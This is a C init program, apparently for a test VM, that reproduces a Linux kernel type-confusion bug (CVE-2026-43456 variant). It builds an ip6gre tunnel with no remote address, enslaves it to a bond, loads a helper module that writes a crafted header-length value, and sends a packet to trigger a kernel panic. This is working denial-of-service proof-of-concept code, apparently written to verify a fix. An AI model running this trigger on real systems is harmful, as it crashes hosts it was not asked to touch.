#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/reboot.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <netpacket/packet.h>
#include <net/ethernet.h>

/* CVE-2026-43456 VARIANT trigger: ip6gre (IPv6 GRE, NO remote address) enslaved
 * to an active-backup bond.
 *
 * Why NO remote: ip6gre_tunnel_init() only assigns ip6gre_header_ops when
 * ipv6_addr_any(&tunnel->parms.raddr) is true (i.e. NBMA / no-remote mode).
 * The original repro's ip6gre probe used `remote fd00::2`, so raddr was NOT
 * any -> ip6gre_header_ops was never assigned -> ip6gre_header was never
 * reached.  This variant uses `local fd00::1` with NO remote so that
 * ip6gre_header_ops IS assigned to ip6gre1, then enslaved to bond1.
 *
 * On the VULNERABLE kernel: bond_setup_by_slave() copies ip6gre1->header_ops
 * (= ip6gre_header_ops) verbatim onto bond1, so dev_hard_header(bond1) calls
 * ip6gre_header(bond1) with netdev_priv(bond1)=struct bonding reinterpreted
 * as struct ip6_tnl -> type confusion in a DIFFERENT sink (net/ipv6/ip6_gre.c,
 * struct ip6_tnl) than the original ipgre case (net/ipv4/ip_gre.c, struct
 * ip_tunnel).  populate_hlen6.ko writes 0x961a63cc into the confused
 * ip6_tnl.hlen field, so needed = hlen + sizeof(ipv6hdr) overflows to a
 * negative int and pskb_expand_head() hits BUG_ON(nhead < 0) -> panic (DoS).
 *
 * On the FIXED kernel: bond_header_ops delegates ip6gre_header to the active
 * slave ip6gre1 (dev=ip6gre1, netdev_priv=struct ip6_tnl of ip6gre1, hlen=4),
 * no crash -> RESULT NOT VULNERABLE.
 */

static void logmsg(const char *fmt, ...) { va_list ap; va_start(ap,fmt);
    fprintf(stderr,"[init] "); vfprintf(stderr,fmt,ap); fprintf(stderr,"\n");
    va_end(ap); fflush(stderr); }
static int run(const char *fmt, ...) { char c[1024]; va_list ap; va_start(ap,fmt);
    vsnprintf(c,sizeof(c),fmt,ap); va_end(ap); logmsg("cmd: %s",c); return system(c); }
static void load_modules(void) {
    run("/sbin/modprobe bonding 2>&1 || /sbin/insmod /root/mods/bonding.ko 2>&1 || true");
    run("/sbin/modprobe dummy 2>&1 || /sbin/insmod /root/mods/dummy.ko 2>&1 || true");
    run("/sbin/modprobe ip6_tunnel 2>&1 || /sbin/insmod /root/mods/ip6_tunnel.ko 2>&1 || true");
    run("/sbin/modprobe ip6_gre 2>&1 || /sbin/insmod /root/mods/ip6_gre.ko 2>&1 || true");
    run("/sbin/modprobe ip_tunnel 2>&1 || true");
}
static int ifindex_of(const char *n) { int s=socket(AF_INET,SOCK_DGRAM,0); if(s<0) return -1;
    struct ifreq ifr={0}; strncpy(ifr.ifr_name,n,IFNAMSIZ-1); int r=ioctl(s,SIOCGIFINDEX,&ifr);
    close(s); return r<0?-1:ifr.ifr_ifindex; }
static int send_packet(const char *ifname) {
    int ix=ifindex_of(ifname); if(ix<0){logmsg("ifindex(%s) failed: %s",ifname,strerror(errno));return -1;}
    int s=socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ALL)); if(s<0){logmsg("AF_PACKET socket failed: %s",strerror(errno));return -1;}
    struct sockaddr_ll d={0}; d.sll_family=AF_PACKET; d.sll_protocol=htons(ETH_P_ALL);
    d.sll_ifindex=ix; d.sll_halen=0; bind(s,(struct sockaddr*)&d,sizeof(d));
    unsigned char b[64]; memset(b,'A',sizeof(b));
    logmsg("TRIGGER: AF_PACKET SOCK_DGRAM sendto(%s) -- vuln kernel should BUG/panic here (ip6gre_header type confusion)",ifname);
    int rc=sendto(s,b,sizeof(b),0,(struct sockaddr*)&d,sizeof(d));
    logmsg("AF_PACKET sendto(%s) rc=%d (%s) -- returned, so no crash on this kernel",ifname,rc,rc<0?strerror(errno):"ok");
    close(s); return rc;
}
int main(void) {
    setenv("PATH","/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",1);
    mount("proc","/proc","proc",0,NULL); mount("sysfs","/sys","sysfs",0,NULL);
    mount("devtmpfs","/dev","devtmpfs",0,NULL); mount("tmpfs","/tmp","tmpfs",0,NULL);
    logmsg("=== CVE-2026-43456 VARIANT: ip6gre(no-remote) -> bond header_ops type-confusion ===");
    run("uname -r"); run("cat /proc/version");
    logmsg("STEP: loading modules"); load_modules();
    run("/sbin/ip link set lo up");
    /* IPv6 underlay address for the ip6gre local endpoint. */
    run("/sbin/ip -6 addr add fd00::1/128 dev lo 2>&1 || true");
    run("/sbin/ip link add dummy0 type dummy 2>&1 || true");
    run("/sbin/ip link set dummy0 up 2>&1 || true");

    logmsg("STEP: ip6gre1 = IPv6 GRE, local fd00::1, NO remote (-> ip6gre_header_ops assigned)");
    run("/sbin/ip link add ip6gre1 type ip6gre local fd00::1 2>&1 || true");
    run("/sbin/ip -d link show ip6gre1 2>&1 || true");

    logmsg("STEP: bond1 (active-backup), enslave ip6gre1 (bond_setup_by_slave copies header_ops)");
    run("/sbin/ip link add bond1 type bond mode active-backup 2>&1 || true");
    run("/sbin/ip link set ip6gre1 master bond1 2>&1 || true");
    run("/sbin/ip link set ip6gre1 up 2>&1 || true");
    run("/sbin/ip link set bond1 up 2>&1 || true");
    usleep(300*1000);
    run("/sbin/ip -d link show bond1 2>&1 || true");
    run("/sbin/ip -d link show ip6gre1 2>&1 || true");

    logmsg("STEP: load populate_hlen6 helper (writes 0x961a63cc into confused ip6_tnl.hlen of netdev_priv(bond1))");
    run("/sbin/insmod /root/mods/populate_hlen6.ko 2>&1 || /sbin/modprobe populate_hlen6 2>&1 || true");
    usleep(150*1000);

    logmsg("STEP: fire AF_PACKET SOCK_DGRAM on bond1 -> dev_hard_header(bond1) -> ip6gre_header");
    send_packet("bond1");
    usleep(500*1000);

    /* Only reached on a kernel that does NOT crash (i.e. the fixed kernel,
     * where bond_header_ops delegates ip6gre_header to the slave ip6gre1). */
    logmsg("STEP: dump recent kernel log");
    run("dmesg 2>/dev/null | tail -80 || true");
    logmsg("RESULT: NOT VULNERABLE (no kernel crash; fixed bond_header_ops used the slave ip6gre1 device)");
    fflush(stdout); sleep(1); reboot(RB_POWER_OFF); for(;;) sleep(1); return 0;
}
